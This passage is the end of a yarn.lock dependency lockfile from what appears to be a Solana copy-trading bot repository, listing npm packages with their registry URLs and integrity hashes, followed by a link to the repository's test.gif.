integrity sha512-6rt+RN7aOi1nGMyC4Xa5DdYiukl2UWCbcJft7YhxReBGQD7OAM8Pbxw6YMo4r2diNEA8FEmu32YOn9rhaiE5yw== 1461 | 1462 | type-detect@^4.0.0, type-detect@^4.0.5: 1463 | version "4.0.8" 1464 | resolved "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz" 1465 | integrity sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g== 1466 | 1467 | typescript@^4.3.5: 1468 | version "4.5.5" 1469 | resolved "https://registry.npmjs.org/typescript/-/typescript-4.5.5.tgz" 1470 | integrity sha512-TCTIul70LyWe6IJWT8QSYeA54WQe8EjQFU4wY52Fasj5UKx88LNYKCgBEHcOMOrFF1rKGbD8v/xcNWVUq9SymA== 1471 | 1472 | utf-8-validate@^5.0.2: 1473 | version "5.0.8" 1474 | resolved "https://registry.npmjs.org/utf-8-validate/-/utf-8-validate-5.0.8.tgz" 1475 | integrity sha512-k4dW/Qja1BYDl2qD4tOMB9PFVha/UJtxTc1cXYOe3WwA/2m0Yn4qB7wLMpJyLJ/7DR0XnTut3HsCSzDT4ZvKgA== 1476 | dependencies: 1477 | node-gyp-build "^4.3.0" 1478 | 1479 | uuid@^8.3.0, uuid@^8.3.2: 1480 | version "8.3.2" 1481 | resolved "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz" 1482 | integrity sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg== 1483 | 1484 | wait-on@6.0.0: 1485 | version "6.0.0" 1486 | resolved "https://registry.npmjs.org/wait-on/-/wait-on-6.0.0.tgz" 1487 | integrity sha512-tnUJr9p5r+bEYXPUdRseolmz5XqJTTj98JgOsfBn7Oz2dxfE2g3zw1jE+Mo8lopM3j3et/Mq1yW7kKX6qw7RVw== 1488 | dependencies: 1489 | axios "^0.21.1" 1490 | joi "^17.4.0" 1491 | lodash "^4.17.21" 1492 | minimist "^1.2.5" 1493 | rxjs "^7.1.0" 1494 | 1495 | webidl-conversions@^3.0.0: 1496 | version "3.0.1" 1497 | resolved "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz" 1498 | integrity sha1-JFNCdeKnvGvnvIZhHMFq4KVlSHE= 1499 | 1500 | whatwg-url@^5.0.0: 1501 | version "5.0.0" 1502 | resolved "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz" 1503 | integrity sha1-lmRU6HZUYuN2RNNib2dCzotwll0= 1504 | dependencies: 1505 | tr46 "~0.0.3" 1506 | webidl-conversions "^3.0.0" 1507 | 1508 | which@2.0.2, which@^2.0.1: 1509 | version "2.0.2" 1510 | resolved "https://registry.npmjs.org/which/-/which-2.0.2.tgz" 1511 | integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA== 1512 | dependencies: 1513 | isexe "^2.0.0" 1514 | 1515 | workerpool@6.2.0: 1516 | version "6.2.0" 1517 | resolved "https://registry.npmjs.org/workerpool/-/workerpool-6.2.0.tgz" 1518 | integrity sha512-Rsk5qQHJ9eowMH28Jwhe8HEbmdYDX4lwoMWshiCXugjtHqMD9ZbiqSDLxcsfdqsETPzVUtX5s1Z5kStiIM6l4A== 1519 | 1520 | wrap-ansi@^7.0.0: 1521 | version "7.0.0" 1522 | resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz" 1523 | integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q== 1524 | dependencies: 1525 | ansi-styles "^4.0.0" 1526 | string-width "^4.1.0" 1527 | strip-ansi "^6.0.0" 1528 | 1529 | wrappy@1: 1530 | version "1.0.2" 1531 | resolved "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz" 1532 | integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8= 1533 | 1534 | ws@^7.4.5: 1535 | version "7.5.7" 1536 | resolved "https://registry.npmjs.org/ws/-/ws-7.5.7.tgz" 1537 | integrity sha512-KMvVuFzpKBuiIXW3E4u3mySRO2/mCHSyZDJQM5NQ9Q9KHWHWh0NHgfbRMLLrceUK5qAL4ytALJbpRMjixFZh8A== 1538 | 1539 | y18n@^5.0.5: 1540 | version "5.0.8" 1541 | resolved "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz" 1542 | integrity sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA== 1543 | 1544 | yargs-parser@20.2.4: 1545 | version "20.2.4" 1546 | resolved "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz" 1547 | integrity sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA== 1548 | 1549 | yargs-parser@^20.2.2: 1550 | version "20.2.9" 1551 | resolved "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz" 1552 | integrity sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w== 1553 | 1554 | yargs-unparser@2.0.0: 1555 | version "2.0.0" 1556 | resolved "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz" 1557 | integrity sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA== 1558 | dependencies: 1559 | camelcase "^6.0.0" 1560 | decamelize "^4.0.0" 1561 | flat "^5.0.2" 1562 | is-plain-obj "^2.1.0" 1563 | 1564 | yargs@16.2.0: 1565 | version "16.2.0" 1566 | resolved "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz" 1567 | integrity sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw== 1568 | dependencies: 1569 | cliui "^7.0.2" 1570 | escalade "^3.1.1" 1571 | get-caller-file "^2.0.5" 1572 | require-directory "^2.1.1" 1573 | string-width "^4.2.0" 1574 | y18n "^5.0.5" 1575 | yargs-parser "^20.2.2" 1576 | 1577 | yn@^2.0.0: 1578 | version "2.0.0" 1579 | resolved "https://registry.npmjs.org/yn/-/yn-2.0.0.tgz" 1580 | integrity sha1-5a2ryKz0CPY4X8dklWhMiOavaJo= 1581 | 1582 | yocto-queue@^0.1.0: 1583 | version "0.1.0" 1584 | resolved "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz" 1585 | integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q== 1586 | -------------------------------------------------------------------------------- /test.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knightlightst/solana-copytrading-bot/46f892c1ea65dec911085bb44f2d9cd4b7e9c5de/test.gif --------------------------------------------------------------------------------